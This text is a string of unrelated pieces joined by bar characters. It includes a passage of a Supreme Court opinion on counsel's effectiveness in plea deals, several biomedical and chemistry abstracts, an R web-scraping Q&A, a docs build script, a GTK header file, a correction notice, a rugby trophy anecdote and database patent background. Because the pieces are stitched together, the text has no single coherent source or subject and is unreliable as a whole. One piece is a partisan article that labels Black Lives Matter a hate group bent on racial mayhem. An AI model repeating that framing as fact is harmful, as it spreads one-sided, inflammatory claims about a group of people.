“To establish deficient performance, a person challenging a conviction must show that ‘counsel’s representation fell below an objective standard of rea-sonableness.’ [
Strickland
,] 466 U. S.,
at 688. A court considering a claim of ineffective assistance must
apply a ‘strong presumption’ that counsel’s representation was within the ‘wide range’ of reasonable professional assistance.
Id.,
at 689. The challenger’s burden is to show ‘that counsel made errors so serious that counsel was not functioning as the “counsel” guaranteed the defendant by the
Sixth Amendment .’
Id.
, at 687.
“With respect to prejudice, a challenger must
demonstrate ‘a reasonable probability that, but for counsel’s unprofessional errors, the result of the
proceeding would have been different.’ …
“ ‘Surmounting
Strickland
’s high bar is never an easy task.’
Padilla
v.
Kentucky
, 559 U. S. ___, ___ (2010) (slip op., at 14). An ineffective-assistance claim can function as a way to escape rules of waiver and forfeiture and raise issues not presented at trial [or in pretrial proceedings], and so the
Strickland
standard must be applied with scrupulous care, lest ‘intrusive post-trial inquiry’ threaten the integrity of the very adversary process the right to counsel is meant to serve.
Strickland
, 466 U. S., at 689–690. Even under
de novo
review, the standard for judging counsel’s representation is a most deferential one. Unlike a later reviewing court, the attorney observed the relevant proceedings, knew of materials outside the record, and interacted with the client, with opposing counsel, and with the judge. It is ‘all too tempting’ to ‘second-guess counsel’s assistance after conviction or adverse sentence.’
Id.
, at 689; see also
Bell
v.
Cone
,
535 U. S. 685,
702 (2002)
;
Lockhart
v.
Fretwell
,
506 U. S. 364,
372 (1993)
. The question is whether an attorney’s representation amounted to incompetence under ‘prevailing professional norms,’ not whether it deviated from best practices or most common custom.
Strickland
, 466 U. S., at 690.
“Establishing that a state court’s application of
Strickland
was unreasonable under §2254(d) is all the more difficult. The standards created by
Strickland
and §2254(d) are both ‘highly deferential,’
id.
, at 689;
Lindh
v.
Murphy
,
521 U. S. 320,
333, n.
7 (1997)
, and when the two apply in tandem, review is ‘doubly’ so,
Knowles
, 556 U. S., at ___ (slip op., at 11). The
Strickland
standard is a general one, so the range of reasonable applications is substantial. 556 U. S., at ___ (slip op., at 11). Federal habeas courts must guard against the danger of equating unreasonableness under
Strickland
with unreasonableness under §2254(d). When §2254(d) applies, the question is not whether counsel’s actions were reasonable. The question is whether there is any reasonable argument that counsel satisfied
Strickland
’s deferential standard.”
III
The question becomes whether Moore’s counsel provided ineffective assistance by failing to seek suppression of Moore’s confession to police before advising Moore regarding the plea. Finding that any “motion to suppress would have been fruitless,” the state postconviction court concluded that Moore had not received ineffective assistance of counsel. App. 140. The state court did not specify whether this was because there was no deficient performance under
Strickland
or
because Moore suffered no
Strickland
prejudice, or both. To overcome the limitation imposed by § 2254(d), the Court of Appeals had to conclude that both findings would have involved an unreasonable application of clearly established federal law. See
Richter
,
ante
, at 19–20. In finding that this standard was met, the Court of Appeals erred, for the state-court decision was not an unreasonable application of either part of the
Strickland
rule.
A
The Court of Appeals was wrong to accord scant deference to counsel’s judgment, and doubly wrong to conclude it would have been unreasonable to find that the defense attorney qualified as counsel for
Sixth Amendment purposes.
Knowles
,
supra
, at ––– (slip op., at 11);
Strickland
, 466 U. S., at 687. Counsel gave this explanation for his decision to discuss the plea bargain without first challenging Moore’s confession to the police: that suppression would serve little purpose in light of Moore’s other full and admissible confession, to which both his brother and his accomplice’s girlfriend could testify. The state court would not have been unreasonable to accept this explanation.
Counsel also justified his decision by asserting that any motion to suppress was likely to fail. Reviewing the reasonableness of that justification is complicated by the possibility that petitioner forfeited one argument that would have supported its position: The Court of Appeals assumed that a motion would have succeeded because the warden did not argue otherwise. Of course that is not the same as a concession that no competent attorney would think a motion to suppress would have failed, which is the relevant question under
Strickland
. See
Kimmelman
v.
Morrison
,
477 U. S. 365,
382 (1986)
;
Richter
,
ante
, at 19–20. It is unnecessary to consider whether counsel’s second justification was reasonable, however, since the first and independent explanation—that suppression would have been futile—confirms that his representation was adequate under
Strickland
, or at least that it would
have been reasonable for the state court to reach that conclusion.
Acknowledging guilt and accepting responsibility by an early plea respond to certain basic premises in the law and its function. Those principles are eroded if a guilty plea is too easily set aside based on facts and circumstances not apparent to a competent attorney when actions and advice leading to the plea took place. Plea bargains are the result of complex negotiations suffused with uncertainty, and defense attorneys must make careful strategic choices in balancing opportunities and risks. The opportunities, of course, include pleading to a lesser charge and obtaining a lesser sentence, as compared with what might be the outcome not only at trial but also from a later plea offer if the case grows stronger and prosecutors find stiffened resolve. A risk, in addition to the obvious one of losing the chance for a defense verdict, is that an early plea bargain might come before the prosecution finds its case is getting weaker, not stronger. The State’s case can begin to fall apart as stories change, witnesses become unavailable, and new suspects are identified.
These considerations make strict adherence to the
Strickland
standard all the more essential when reviewing the choices an attorney made at the plea bargain stage. Failure to respect the latitude
Strickland
requires can create at least two problems in the plea context. First, the potential for the distortions and imbalance that can inhere in a hindsight perspective may become all too real. The art of negotiation is at least as nuanced as the art of trial advocacy and it presents questions farther removed from immediate judicial supervision. There are, moreover, special difficulties in evaluating the basis for counsel’s judgment: An attorney often has insights borne of past dealings with the same prosecutor or court, and the record at the pretrial stage is never as full as it is after a trial. In determining how searching and exacting their review must be, habeas courts must respect their limited role
in determining whether there was manifest deficiency in light of information then available to counsel.
Lockhart
v.
Fretwell
,
506 U. S. 364,
372 (1993)
. AEDPA compounds the imperative of judicial caution.
Second, ineffective-assistance claims that lack necessary foundation may bring instability to the very process the inquiry seeks to protect.
Strickland
allows a defendant “to escape rules of waiver and forfeiture,”
Richter
,
ante
, at 15. Prosecutors must have assurance that a plea will not be undone years later because of infidelity to the requirements of AEDPA and the teachings of
Strickland
. The prospect that a plea deal will afterwards be unraveled when a court second-guesses counsel’s decisions while failing to accord the latitude
Strickland
mandates or disregarding the structure dictated by AEDPA could lead prosecutors to forgo plea bargains that would benefit defendants, a result favorable to no one.
Whether before, during, or after trial, when the
Sixth Amendment applies, the formulation of the standard is the same: reasonable competence in representing the accused.
Strickland
, 466 U. S., at 688. In applying and defining this standard substantial deference must be accorded to counsel’s judgment.
Id.
, at 689. But at different stages of the case that deference may be measured in different ways.
In the case of an early plea, neither the prosecution nor the defense may know with much certainty what course the case may take. It follows that each side, of necessity, risks consequences that may arise from contingencies or circumstances yet unperceived. The absence of a developed or an extensive record and the circumstance that neither the prosecution nor the defense case has been well defined create a particular risk that an after-the-fact assessment will run counter to the deference that must be accorded counsel’s judgment and perspective when the plea was negotiated, offered, and entered.
Prosecutors in the present case faced the cost of litigation and the risk of trying their case without Moore’s confession to the police. Moore’s counsel could reasonably believe that a swift plea bargain would allow Moore to take advantage of the State’s aversion to these hazards. And whenever cases involve multiple defendants, there is a chance that prosecutors might convince one defendant
to testify against another in exchange for a better deal. Moore’s plea eliminated that possibility and ended an ongoing investigation. Delaying the plea for further proceedings would have given the State time to uncover additional incriminating evidence that could have formed the basis of a capital prosecution. It must be remem-bered, after all, that Moore’s claim that it was an accident when he shot the victim through the temple might be disbelieved.
It is not clear how the successful exclusion of the confession would have affected counsel’s strategic calculus. The prosecution had at its disposal two witnesses able to relate another confession. True, Moore’s brother and the girlfriend of his accomplice might have changed their accounts in a manner favorable to Moore. But the record before the state court reveals no reason to believe that either witness would violate the legal obligation to convey the content of Moore’s confession. And to the extent that his accomplice’s girlfriend had an ongoing interest in the matter, she might have been tempted to put more blame, not less, on Moore. Then, too, the accomplices themselves might have decided to implicate Moore to a greater extent than his own confession did, say by indicating that Moore shot the victim deliberately, not accidentally. All these possibilities are speculative. What counsel knew at the time was that the existence of the two witnesses to an additional confession posed a serious strategic concern.
Moore’s prospects at trial were thus anything but certain. Even now, he does not deny any involvement in the kidnaping and killing. In these circumstances, and with a potential capital charge lurking, Moore’s counsel made a reasonable choice to opt for a quick plea bargain. At the very least, the state court would not have been unreasonable to so conclude. Cf.
Yarborough
v.
Alvarado
,
541 U. S. 652,
664 (2004)
(explaining that state courts enjoy “more leeway” under AEDPA in applying general standards).
The Court of Appeals’ contrary holding rests on a case that did not involve ineffective assistance of counsel:
Arizona
v.
Fulminante
,
499 U. S. 279 (1991)
. To reach that result, it transposed that case into a novel context; and novelty alone—at least insofar as it renders the relevant rule less than “clearly established”—provides a reason to reject it under AEDPA. See
Yarborough
,
supra
, at 666 (“Section 2254(d)(1) would be undermined if habeas courts introduced rules not clearly established under the guise of extensions to existing law …[, although c]ertain principles are fundamental enough that when new factual permutations arise, the necessity to apply the earlier rule will be beyond doubt”). And the transposition is improper even on its own terms. According to the Court of Appeals, “
Fulminante
stands for the proposition that the admission of an additional confession ordinarily reinforces and corroborates the others and is therefore prejudicial.” 574 F. 3d, at 1111. Based on that reading, the Court of Appeals held that the state court’s decision “was contrary to
Fulminante
.”
Id.
, at 1102.
But
Fulminante
may not be so incorporated into the
Strickland
performance inquiry.
A state-court adjudication of the performance of coun-
sel under the
Sixth Amendment cannot be “contrary to”
Fulminante
, for
Fulminante
—which involved the admission of an involuntary confession in violation of the
Fifth Amendment —says nothing about the
Strickland
standard of effectiveness. See
Bell
v.
Cone
,
535 U. S. 685,
694 (2002)
(“A federal habeas court may issue the writ under the ‘contrary to’ clause if the state court applies a rule different from the governing law set forth in our cases, or if it decides a case differently than we have done on a set of materially indistinguishable facts”). The
Fulminante
prejudice inquiry presumes a constitutional violation, whereas
Strickland
seeks to define one. The state court accepted counsel’s view that seeking to suppress Moore’s second confession would have been “fruitless.” It would not have been unreasonable to conclude that counsel could incorporate that view into his assessment of a plea offer, a subject with which
Fulminante
is in no way concerned.
A finding of constitutionally adequate performance under
Strickland
cannot be contrary to
Fulminante
. The state court likely reached the correct result under
Strickland
. And under §2254(d), that it reached a reasonable one is sufficient. See
Richter
,
ante
, at 19.
B
The Court of Appeals further concluded that it would have been unreasonable for the state postconviction court to have found no prejudice in counsel’s failure to suppress Moore’s confession to police. To prevail on prejudice before the state court Moore had to demonstrate “a reasonable probability that, but for counsel’s errors, he would not have pleaded guilty and would have insisted on going to trial.”
Hill
v.
Lockhart
,
474 U. S. 52,
59 (1985)
.
Deference to the state court’s prejudice determination is all the more significant in light of the uncertainty inherent in plea negotiations described above: The stakes for defendants are high, and many elect to limit risk by forgoing the right to assert their innocence. A defendant who accepts a plea bargain on counsel’s advice does not necessarily suffer prejudice when his counsel fails to seek suppression of evidence, even if it would be reversible error for the court to admit that evidence.
The state court here reasonably could have determined that Moore would have accepted the plea agreement even if his second confession had been ruled inadmissible. By the time the plea agreement cut short investigation of Moore’s crimes, the State’s case was already formidable and included two witnesses to an admissible confession. Had the prosecution continued to investigate, its case might well have become stronger. At the same time, Moore faced grave punishments. His decision to plead no contest allowed him to avoid a possible sentence of life without parole or death. The bargain counsel struck was thus a favorable one—the statutory minimum for the charged offense—and the decision to forgo a challenge to the confession may have been essential to securing that agreement.
Once again the Court of Appeals reached a contrary conclusion by pointing to
Fulminante:
“The state court’s finding that a motion to suppress a recorded confession to the police would have been ‘fruitless’ … was without question contrary to clearly established federal law as set forth in
Fulminante
.” 574 F. 3d, at 1112. And again there is no sense in which the state court’s finding could be contrary to
Fulminante
, for
Fulminante
says nothing about prejudice for
Strickland
purposes, nor does it contemplate prejudice in the plea bargain context.
<tab>
The Court of Appeals appears to have treated
Fulminante
as a
per se
rule of prejudice, or something close to
it, in all cases involving suppressible confessions. It is
not. In
Fulminante
five Justices made the uncontroversial observation that many confessions are powerful evidence. See,
e.g.
, 499 U. S., at 296.
Fulminante
’s prejudice analysis arose on direct review following an acknowledged constitutional error at trial. The State therefore had the burden of showing that it was “clear beyond a reasonable doubt that a rational jury would have found the defendant guilty absent the error.”
Neder
v.
United States
,
527 U. S. 1,
18 (1999)
(paraphrasing
Fulminante
,
supra
). That standard cannot apply to determinations of whether inadequate assistance of counsel prejudiced a defendant who entered into a plea agreement. Many defendants reasonably enter plea agreements even though there is a significant probability—much more than a reasonable doubt—that they would be acquitted if they proceeded to trial. Thus, the question in the present case is not whether Moore was sure beyond a reasonable doubt that he would still be convicted if the extra confession were suppressed. It is whether Moore established the reasonable probability that he would not have entered his plea but for his counsel’s deficiency,
Hill
,
supra
, at 59, and more to the point, whether a state court’s decision to the contrary would be unreasonable.
To the extent
Fulminante
’s application of the harmless-error standard sheds any light on the present case, it suggests that the state court’s prejudice determination was reasonable.
Fulminante
found
that an improperly admitted confession was not harmless under
Chapman
v.
California
,
386 U. S. 18 (1967)
because the remaining evidence against the defendant was weak. The additional evidence consisted primarily of a second confession that Fulminante had made to the informant’s fiancée. But many of its details were not corroborated, the fiancée had not reported the confession for a long period of time, the State had indicated that both confessions were essential to its case, and the fiancée potentially “had a motive to lie.” 499 U. S., at 300. Moore’s plea agreement, by contrast, ended the government’s investigation well before trial, yet the evidence against Moore was strong. The accounts of Moore’s second confession to his brother and his accomplice’s girlfriend corroborated each other, were given to people without apparent reason to lie, and were reported without delay.
The State gave no indication that its felony-murder prosecution depended on the admission of the police confession, and Moore does not now deny that he kidnaped and killed Rogers. Given all this, an unconstitutional admission of Moore’s confession to police might well have been found harmless even on direct review if Moore had gone to trial after the denial of a suppression motion.
Other than for its discussion of the basic proposition that a confession is often powerful evidence,
Fulminante
is not relevant to the present case. The state postconviction court reasonably could have concluded that Moore was
not prejudiced by counsel’s actions. Under AEDPA, that finding ends federal review. See
Richter
,
ante
, at 19.
Judge Berzon’s concurring opinion in the Court of Appeals does not provide a basis for issuance of the writ. The concurring opinion would have found the state court’s prejudice determination unreasonable in light of
Kimmelman
. It relied on
Kimmelman
to find that Moore suffered prejudice for
Strickland
purposes because there was
a reasonable possibility that he would have obtained a better plea agreement but for his counsel’s errors. But
Kimmelman
concerned a conviction following a bench trial, so it did not establish, much less clearly establish, the appropriate standard for prejudice in cases involving plea bargains. See 477 U. S., at 389. That standard was established in
Hill
, which held that a defendant who enters a plea agreement must show “a reasonable probability that, but for counsel’s errors, he would not have pleaded guilty and would have insisted on going to trial.” 474 U. S., at 59. Moore’s failure to make that showing forecloses relief under AEDPA.
IV
There are certain differences between inadequate assistance of counsel claims in cases where there was a full trial on the merits and those, like this one, where a plea was entered even before the prosecution decided upon all of the charges. A trial provides the full written record and factual background that serve to limit and clarify some of the choices counsel made. Still, hindsight cannot suffice for relief when counsel’s choices were reasonable and legitimate based on predictions of how the trial would proceed. See
Richter
,
ante
, at 18.
Hindsight and second guesses are also inappropriate, and often more so, where a plea has been entered without a full trial or, as in this case, even before the prosecution decided on the charges. The added uncertainty that results when there is no extended, formal record and no actual history to show how the charges have played out at trial works against the party alleging inadequate assistance. Counsel, too, faced that uncertainty. There is a most substantial burden on the claimant to show ineffective assistance. The plea process brings to the criminal justice system a stability and a certainty that must not be undermined by the prospect of collateral challenges in cases not only where witnesses and evidence have disappeared, but also in cases where witnesses and evidence were not presented in the first place. The substantial burden to show ineffective assistance of counsel, the burden the claimant must meet to avoid the plea, has not been met in this case.
The state postconviction court’s decision involved no unreasonable application of Supreme Court precedent. Because the Court of Appeals erred in finding otherwise, its judgment is reversed, and the case is remanded for further proceedings consistent with this opinion.
It is so ordered.
<tab>Justice Kagan
took no part in the consideration or decision of this case. |
Artificial neural networks for determination of enantiomeric composition of alpha-phenylglycine using UV spectra of cyclodextrin host-guest complexes: comparison of feed-forward and radial basis function networks.
In this work feed-forward neural networks and radial basis function networks were used for the determination of enantiomeric composition of alpha-phenylglycine using UV spectra of cyclodextrin host-guest complexes and the data provided by two techniques were compared. Wavelet transformation (WT) and principal component analysis (PCA) were used for data compression prior to neural network construction and their efficiencies were compared. The structures of the wavelet transformation-radial basis function networks (WT-RBFNs) and wavelet transformation-feed-forward neural networks (WT-FFNNs), were simplified by using the corresponding wavelet coefficients of three mother wavelets (Mexican hat, daubechies and symlets). Dilation parameters, number of inputs, hidden nodes, learning rate, transfer functions, number of epochs and SPREAD values were optimized. Performances of the proposed methods were tested with regard to root mean square errors of prediction (RMSE%), using synthetic solutions containing a fixed concentration of beta-cyclodextrin (beta-CD) and fixed concentration of alpha-phenylglycine (alpha-Gly) with different enantiomeric compositions. Although satisfactory results with regard to some statistical parameters were obtained for all the investigated methods but the best results were achieved by WT-RBFNs. |
Q:
Scraping java scripted objects using rvest
I am trying to scrape java scripted objects from a webpage. I tried the JIRA API as suggested but I am not getting the activity log. I found a website explaining how java scripted objects can be scraped. For example, see below
https://datascienceplus.com/scraping-javascript-rendered-web-content-using-r/
I followed the example but I am finding it hard to understand what I need to send as xpath information to get the activity log listed. I am trying to scrape the activity log which is under the all-tab container in the bottom of webpage.
library(rvest)
library(V8)
#URL with js-rendered content to be scraped
link<- 'https://issues.apache.org/jira/browse/AMQCPP-645'
#Read the html page content and extract all javascript codes that are inside a list
#html<- getURL(link, followlocation = TRUE)
emailjs <- read_html(link) %>% html_nodes(xpath = "//div") %>% html_text()
ct <- v8()
#parse the html content from the js output and print it as text
read_html(ct$eval(gsub('document.write','',emailjs))) %>%
html_text()
I was hoping to get output like this:
rows emailjs
1 S A created issue - 25/Apr/19 15:48 Highlight in document.
2 Justin Bertram made changes - 25/Apr/19 17:53 Field Original Value
New
Value Comment [ I'm using Firefox, and it's working no problem. It's
just HTML so there shouldn't be any browser compatibility issues.
My guess is that Firefox is holding on to an older, cached version or
something. Try opening a "private browsing" window and trying it from
there. ] Highlight in document.
3 Timothy Bish made changes - 25/Apr/19 18:10 Resolution Fixed [ 1 ]
Status
Open [ 1 ] Closed [ 6 ] Highlight in document.
4 Timothy Bish made transition - 25/Apr/19 18:10 Open Closed 2h 22m 1
Suggestions would be greatly appreciated. Thank you!
A:
You can mimic the POST request the page makes and add the one required header. Then html parse response for desired content. You may need to do a little more string tidying.
library(httr)
library(rvest)
library(magrittr)
headers = c('X-Requested-With' = 'XMLHttpRequest')
data = '[{"name":"jira.viewissue.tab.clicked","properties":{"inNewWindow":false,"keyboard":false,"context":"unknown","tab":"com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel","tabPosition":1},"timeDelta":-4904},{"name":"jira.viewissue.tab.clicked","properties":{"inNewWindow":false,"keyboard":false,"context":"unknown","tab":"com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel","tabPosition":0},"timeDelta":-4178}]'
rows <- read_html(httr::POST(url = 'https://issues.apache.org/jira/browse/AMQCPP-645?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel&_=1570029676497', httr::add_headers(.headers=headers), body = data))%>%
html_nodes('.issuePanelWrapper .issue-data-block')%>%
html_text()%>%
gsub('\\s+|\n+', ' ', .)
|
#!/bin/sh
set -e
# Build the apidoc/*.rst docs
rm -f docs/apidoc/*.rst
sh scripts/generate_api_docs.sh
# Build the HTML docs
sphinx-build -a docs/ docs/build/
|
WATCH: High School FORCES Students To Support BlackLivesMatter After Black Girl Slapping Cop & Getting Ejected Is Deemed ‘RACIST’
If history teaches us anything, it’s that it’s distended to repeat itself, and if you’re a student of history you no doubt can identify something disguised as new by simply peeling back the veneer and recognize immediately what is being sold is actually something used, only repackaged to appear as new.
And if you’ve lived through a few decades you began to realize that civic organizations, and so-called revolutionary and political activist groups, all began to sound alike, and hate groups like yesterday’s “Black Panther Party” of the 60’s is actually today’s “Black Lives Matter” movement with perhaps a few minor twists.
What is new however is how this generation of young people and those in charge of a civil society handle the time-worn anti-establishment narrative and potential violence of this recycled hate group, who’s only interest (like their 60’s predecessors), is to create racial chaos and mayhem.
Moreover this incident at Todd Beamer High School, in Federal Way, Washington, is simply a microcosm of how hate groups like “Black Lives Matter” use race as a wedge issue to incite violence, similar to how the old Black Panthers used race to instigate racial tensions.
Which doesn’t require any actual facts only what someone alleges and by calling another student a “racist,” which in turn creates a spiraling effect, which cannot be controlled and creates a situation where the actual incident is in doubt?
However what isn’t in doubt is that a confrontation took place between two students, and a school official intervened attempting to restrain one of the students, when allegedly the black girl turned and struck the officer, which prompted the officer to place the girl in handcuffs, and led her off campus.
The altercation between the two students apparently had no racial component has somehow become a racial issue which has one parent named Angela concerned and stating in an interview on KIRO Radio’s Dori Monson Show:
“The next thing we knew, our children were coming home telling us they needed to wear all black in support of the Black Lives Matter movement because of the incident,” Angela said, noting there was even an announcement on the school’s intercom about the demonstration. “I questioned my daughter, I said ‘I don’t understand how this is a race issue.’”
“It sounds like it was a child who was out of control, but somehow it turned into a race thing,” she said. “My daughter didn’t wear all black, she refused to do that. She didn’t believe this was a black or white issue, it was a disciplinary issue.”
“And if the kids were not wearing them, they were bullied and ridiculed and called ‘racists,’” Angela said. “She was told she was racist because she doesn’t want to support the Black Lives Matter movement. And she said, ‘This has nothing to do with black or white, this is a kid that was disobedient.’”
Students are not happy and are saying they were forced by the school administration and teachers to show support for the BlackLivesMatter movement.
WATCH:
However perhaps the one distinction that sets the Black Panthers of the 60’s and today’s hate group Black Lives Matter apart, is how the political ruling class of the left views them. Then the FBI described the Black Panther movement as "the greatest threat to the internal security of the country" today the Obama/Clinton gang welcomes Black Lives Matter with open arms, into the White House.. |
/* GTK - The GIMP Toolkit
* Copyright (C) 1995-1997 Peter Mattis, Spencer Kimball and Josh MacDonald
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library. If not, see <http://www.gnu.org/licenses/>.
*/
/*
* Modified by the GTK+ Team and others 1997-2000. See the AUTHORS
* file for a list of people on the GTK+ Team. See the ChangeLog
* files for a list of changes. These files are distributed with
* GTK+ at ftp://ftp.gtk.org/pub/gtk/.
*/
#ifndef __GTK_PANED_H__
#define __GTK_PANED_H__
#if !defined (__GTK_H_INSIDE__) && !defined (GTK_COMPILATION)
#error "Only <gtk/gtk.h> can be included directly."
#endif
#include <gtk/gtkwidget.h>
G_BEGIN_DECLS
#define GTK_TYPE_PANED (gtk_paned_get_type ())
#define GTK_PANED(obj) (G_TYPE_CHECK_INSTANCE_CAST ((obj), GTK_TYPE_PANED, GtkPaned))
#define GTK_IS_PANED(obj) (G_TYPE_CHECK_INSTANCE_TYPE ((obj), GTK_TYPE_PANED))
typedef struct _GtkPaned GtkPaned;
GDK_AVAILABLE_IN_ALL
GType gtk_paned_get_type (void) G_GNUC_CONST;
GDK_AVAILABLE_IN_ALL
GtkWidget * gtk_paned_new (GtkOrientation orientation);
GDK_AVAILABLE_IN_ALL
void gtk_paned_set_start_child (GtkPaned *paned,
GtkWidget *child);
GDK_AVAILABLE_IN_ALL
GtkWidget * gtk_paned_get_start_child (GtkPaned *paned);
GDK_AVAILABLE_IN_ALL
void gtk_paned_set_resize_start_child (GtkPaned *paned,
gboolean resize);
GDK_AVAILABLE_IN_ALL
gboolean gtk_paned_get_resize_start_child (GtkPaned *paned);
GDK_AVAILABLE_IN_ALL
void gtk_paned_set_end_child (GtkPaned *paned,
GtkWidget *child);
GDK_AVAILABLE_IN_ALL
GtkWidget * gtk_paned_get_end_child (GtkPaned *paned);
GDK_AVAILABLE_IN_ALL
void gtk_paned_set_shrink_start_child (GtkPaned *paned,
gboolean resize);
GDK_AVAILABLE_IN_ALL
gboolean gtk_paned_get_shrink_start_child (GtkPaned *paned);
GDK_AVAILABLE_IN_ALL
void gtk_paned_set_resize_end_child (GtkPaned *paned,
gboolean resize);
GDK_AVAILABLE_IN_ALL
gboolean gtk_paned_get_resize_end_child (GtkPaned *paned);
GDK_AVAILABLE_IN_ALL
void gtk_paned_set_shrink_end_child (GtkPaned *paned,
gboolean resize);
GDK_AVAILABLE_IN_ALL
gboolean gtk_paned_get_shrink_end_child (GtkPaned *paned);
GDK_AVAILABLE_IN_ALL
int gtk_paned_get_position (GtkPaned *paned);
GDK_AVAILABLE_IN_ALL
void gtk_paned_set_position (GtkPaned *paned,
int position);
GDK_AVAILABLE_IN_ALL
void gtk_paned_set_wide_handle (GtkPaned *paned,
gboolean wide);
GDK_AVAILABLE_IN_ALL
gboolean gtk_paned_get_wide_handle (GtkPaned *paned);
G_END_DECLS
#endif /* __GTK_PANED_H__ */
|
Translation Elongation Factor 1alpha (EF-1alpha) is a central protein involved in delivering aminoacyl-tRNAs to the ribosome and assuring incorporation of the appropriate amino acid during protein synthesis. While this protein is extremely abundant, the cell needs to modulate the activity or levels of EF-1alpha for normal cellular growth since inappropriate expression of EF-alpha results in transformation of cell lines and occurs in many carcinomas. Further, changes in the activity of EF-1alpha occur during aging and alter longevity. The goal of this project is to understand the mechanisms that regulate efficient and accurate translation. There are many different mechanisms to assure the accurate and efficient translation of an mRNA, and it is clear these mechanisms converge on the action of EF-1alpha. The central role of EF-1alpha in elongation and its interactions with proteins and RNAs that modulate its activity are a very important factor in this process. Our previous studies support the hypothesis that changes in translational fidelity in cells harboring mutations in EF-1alpha are a result of many different effects on gene expression in vivo. Current models of elongation predict these include indirect effects that result from changes in the pool of active EF-1alpha x GTP and thus the occupancy of the A-site of the ribosome. However, EF-1alpha also directly affects this process through the presentation of aa-tRNA to the ribosome, the determination of cognate codon-anticodon interactions, and the hydrolysis of GTP required for kinetic proofreading. The use of the yeast Saccharomyces cerevisiae allows analysis of the translation elongation cycle both in vivo and in vitro. This proposal describes a set of biochemical studies of mutations predicted or designed to analyze both direct and indirect effects of EF-1alpha on accurate gene expression. Purification and analysis of wild-type and mutant EF-1alpha proteins in the partial reactions of translation elongation will determine the causes of the in vivo translation and growth phenotypes of these mutations. Furthermore, this information is utilized to apply genetic approaches to identify and characterize factors that modulate EF-1alpha activity; the guanine nucleotide exchange factor (EF-1Beta) and the GTPase activating factor (the ribosome). This analysis will also identify novel factors that affect or regulate acurate elongation. This coordinated approach is a unique method to extend our understanding of the many EF-1alpha dependent steps required for accurate and efficient gene expression. |
Complement and coagulation: strangers or partners in crime?
The convergence between complement and the clotting system extends far beyond the chemical nature of the complement and coagulation components, both of which form proteolytic cascades. Complement effectors directly enhance coagulation. These effects are supplemented by the interactions of complement with other inflammatory mediators that can increase the thrombogenicity of blood. In addition, complement inhibits anticoagulant factors. The crosstalk between complement and coagulation is also well illustrated by the ability of certain coagulation enzymes to activate complement components. Understanding the interplay between complement and coagulation has fundamental clinical implications in the context of diseases with an inflammatory pathogenesis, in which complement-coagulation interactions contribute to the development of life-threatening complications. Here, we review the interactions of the complement system with hemostasis and their roles in various diseases. |
TSC1 stabilizes TSC2 by inhibiting the interaction between TSC2 and the HERC1 ubiquitin ligase.
Tuberous sclerosis complex (TSC) is an autosomal dominant disease characterized by hamartoma formation in various organs. Two genes responsible for the disease, TSC1 and TSC2, have been identified. The TSC1 and TSC2 proteins, also called hamartin and tuberin, respectively, have been shown to regulate cell growth through inhibition of the mammalian target of rapamycin pathway. TSC1 is known to stabilize TSC2 by forming a complex with TSC2, which is a GTPase-activating protein for the Rheb small GTPase. We have identified HERC1 as a TSC2-interacting protein. HERC1 is a 532-kDa protein with an E3 ubiquitin ligase homology to E6AP carboxyl terminus (HECT) domain. We observed that the interaction of TSC1 with TSC2 appears to exclude TSC2 from interacting with HERC1. Disease mutations in TSC2, which result in its destabilization, allow binding to HERC1 in the presence of TSC1. Our study reveals a potential molecular mechanism of how TSC1 stabilizes TSC2 by excluding the HERC1 ubiquitin ligase from the TSC2 complex. Furthermore, these data reveal a possible biochemical basis of how certain disease mutations inactivate TSC2. |
Factors development of trade cluster region
The author discusses various approaches to the definition of a cluster, which is the embryo of the cluster theory of economic development. Highlighted features of the nature and formation of trade cluster. which not only provides social and economic development, but also acts as an essential condition to ensure continuous reproduction process in the region. A functional matrix shopping cluster.
Kuprijanov S.V., Strebkova E.V. Cluster as a form of organization of modern industrial development (theory and practice) [Klaster kak forma organizacii sovremennogo razvitija promyshlennosti (teorija i praktika)]. Belgorod, 2007.
Risin I. E., Borodkina E. V. the role of the state in the processes of clustering social and economic space of the region [Rol’ gosudarstva v processah klasterizacii social’no-jekonomicheskogo prostranstva regiona]. Regional economy. The South of Russia, 2011, no. 12, pp. 137-143. |
Van Hal G, Van Roosbroeck S, Vriesacker B, *et al*. Flemish adolescents\' perceptions of cigarette plain packaging: a qualitative study with focus group discussions. *BMJ Open* 2012;**2**:e001424. There were errors in the citations to the boxes in this article. We have since corrected the online version.
|
Tech – CAD
Units Matter: Here’s how to set them
In 1996 the inaugural Tri-Nations rugby tournament was played between Australia, New Zealand and South Africa. New Zealand won the trophy that year, but the story behind the massive trophy is rather interesting.
According to a 2013 article on stuff.co.nz, the trophy now lives at the Palmerston North Rugby Museum.
Taking up the most space is the ultra-heavy Tri-Nations Cup which All Black captain Sean Fitzpatrick somehow lifted after winning it in South Africa in 1996.
Made of aluminium, the makers are believed to have mistakenly used inches rather than centimetres in its construction.
It took two men to lug it into the museum, with two rest stops along the way.
This story has fascinated me for over 20 years. I have scoured the internet looking for facts related to the trophy, sadly very little information other than the details above exist. It’s been really hard to track down a photo of it. The pictures in this article, were taken from screenshots of a video I saw online, which were backed up from my phone. This is from the end of a replay, of the 1996 game at Loftus Versveld, where Sean Fitzpatrick only appeared briefly with the trophy.
If you know any more about the design and manufacture of the trophy, or have any other information, please get in touch, or comment below. Maybe you can track down the footage! |
Databases are often provided to facilitate the running of software applications in a computing-based environment. Examples of software applications include operating system software, and programs that run on an operating system. Databases in computing environments also store data. Such data may include data to configure programs, as well as application data that are generated during, for example, productive use, or operation of an application.
Various arrangements may be provided to facilitate access to a database. For example, networked and other database sharing environments permit multiple users to share a database. Such arrangements facilitate client-server solutions for business and other types of database user environments. By way of example, R/3 is a client-server solution provided by SAP® AG. An R/3 system typically includes a number of software applications or modules that are installed in an environment comprising a database and an application server connected to the database. The application server of an R/3 system can perform numerous functions, including executing programs stored in the database.
From time to time, a database may need to be upgraded in view of various factors. For instance, modifications or enhancements to applications and/or data by a software vendor may require that prior releases running on a database be upgraded to a new release. Additionally, revisions to correct programming errors or bugs may require that a database be upgraded with a new release.
